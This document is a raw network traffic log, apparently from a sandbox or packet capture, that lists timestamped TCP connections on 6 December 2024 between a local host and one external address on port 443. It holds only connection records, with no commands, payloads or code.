Dec 6, 2024 00:17:36.976028919 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.976032972 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.977976084 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.978001118 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.978069067 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.978312016 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.978323936 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.011852980 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.015733004 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.015844107 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.015945911 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.015954018 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.016005039 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.016009092 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.018343925 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.018373013 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.018455029 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.018575907 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.018588066 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.211553097 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.211625099 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.211688042 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.211865902 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.211879969 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.211890936 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.211896896 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.214517117 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.214560032 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:37.214627981 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.214745045 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:37.214761972 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.227207899 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.227998972 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.228024006 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.228451014 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.228456020 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.652002096 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.653004885 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.653034925 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.653372049 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.653378963 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.686450958 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.686511993 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.686739922 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.686860085 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.686877966 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.686896086 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.686902046 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.690020084 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.690047026 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.690125942 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.690287113 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.690296888 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.802200079 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.802930117 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.802962065 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.803266048 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.803271055 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.812557936 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.813119888 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.813136101 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:38.813442945 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:38.813448906 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.080351114 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.080938101 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.080954075 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.081578016 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.081583977 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.111284971 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.111368895 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.111546040 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.111717939 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.111736059 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.111747026 CET	50216	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.111752987 CET	443	50216	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.114428997 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.114459038 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.114532948 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.114651918 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.114665985 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.309626102 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.309658051 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.309708118 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.309763908 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.309923887 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.322547913 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.322547913 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.322566032 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.322575092 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.325361013 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.325398922 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.325473070 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.325623035 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.325634956 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.333448887 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.334208965 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.334273100 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.334310055 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.334327936 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.334337950 CET	50215	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.334343910 CET	443	50215	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.336280107 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.336332083 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.336401939 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.336538076 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.336553097 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.674025059 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.674089909 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.674148083 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.674451113 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.674468994 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.674479961 CET	50217	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.674487114 CET	443	50217	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.677514076 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.677544117 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:39.677624941 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.677746058 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:39.677756071 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:40.819506884 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:40.820171118 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:40.820208073 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:40.820715904 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:40.820719957 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.093612909 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.094140053 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.094156027 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.094710112 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.094713926 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.240371943 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.241074085 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.241095066 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.241429090 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.241432905 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.246067047 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.249372005 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.249473095 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.249651909 CET	50218	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.249664068 CET	443	50218	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.252651930 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.252684116 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.252768040 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.252921104 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.252935886 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.289720058 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.290518999 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.290529013 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.290822029 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.290826082 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.501678944 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.514291048 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.514307976 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.514767885 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.514771938 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.528357983 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.531405926 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.531460047 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.531588078 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.531605959 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.531615019 CET	50219	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.531622887 CET	443	50219	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.535972118 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.535993099 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.536048889 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.536290884 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.536303997 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.670864105 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.674550056 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.674609900 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.702292919 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.702306986 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.702316046 CET	50220	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.702322006 CET	443	50220	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.727415085 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.730786085 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.730848074 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.739382982 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.739408016 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.739474058 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.759874105 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.759896040 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.759910107 CET	50221	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.759916067 CET	443	50221	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.764553070 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.764559984 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.792994976 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.793024063 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.793081045 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.801109076 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.801122904 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.942769051 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.945997953 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.946031094 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.946047068 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.946084023 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.946141005 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.946146011 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.946155071 CET	50222	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.946157932 CET	443	50222	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.949507952 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.949536085 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:41.949619055 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.949728012 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:41.949738979 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.142805099 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.143553019 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.143594027 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.143985987 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.143991947 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.372570992 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.375298977 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.375315905 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.375632048 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.375637054 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.579423904 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.582824945 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.582912922 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.583072901 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.583072901 CET	50223	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.583090067 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.583098888 CET	443	50223	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.585443020 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.585469007 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.585542917 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.585690975 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.585705996 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.622838974 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.623147964 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.623163939 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.623527050 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.623531103 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.656089067 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.656371117 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.656388044 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.656734943 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.656740904 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.709222078 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.709918976 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.709928989 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.710254908 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.710258961 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.805268049 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.805300951 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.805351019 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.805368900 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.805417061 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.805648088 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.805663109 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.805675030 CET	50224	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.805680037 CET	443	50224	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.808248997 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.808284044 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:43.808346033 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.808494091 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:43.808525085 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.063664913 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.066555977 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.066626072 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.066662073 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.066677094 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.066689968 CET	50225	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.066696882 CET	443	50225	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.071578979 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.071614027 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.071693897 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.071866035 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.071882963 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.121117115 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.124097109 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.124135971 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.124202013 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.124337912 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.124476910 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.124491930 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.124543905 CET	50226	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.124551058 CET	443	50226	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.127844095 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.127871990 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.127940893 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.128070116 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.128077984 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.147546053 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.150677919 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.150753021 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.150980949 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.150994062 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.151021957 CET	50227	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.151036024 CET	443	50227	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.159821987 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.159862041 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:44.159928083 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.160145998 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:44.160161018 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.364729881 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.365269899 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.365297079 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.365732908 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.365737915 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.566572905 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.573950052 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.573966980 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.574364901 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.574369907 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.801291943 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.805207014 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.805282116 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.805320024 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.805336952 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.805354118 CET	50228	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.805358887 CET	443	50228	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.808007002 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.808048010 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.808125973 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.808265924 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.808278084 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.824314117 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.824677944 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.824690104 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.825114965 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.825119972 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.879718065 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.880091906 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.880125046 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.880511999 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.880517006 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.880882978 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.881196976 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.881217003 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.881623983 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.881628036 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.997556925 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.997631073 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.997701883 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.997875929 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.997886896 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:45.997896910 CET	50229	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:45.997901917 CET	443	50229	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.002805948 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.002831936 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.002906084 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.003057957 CET	50234	443	192.168.2.4	13.107.246.63
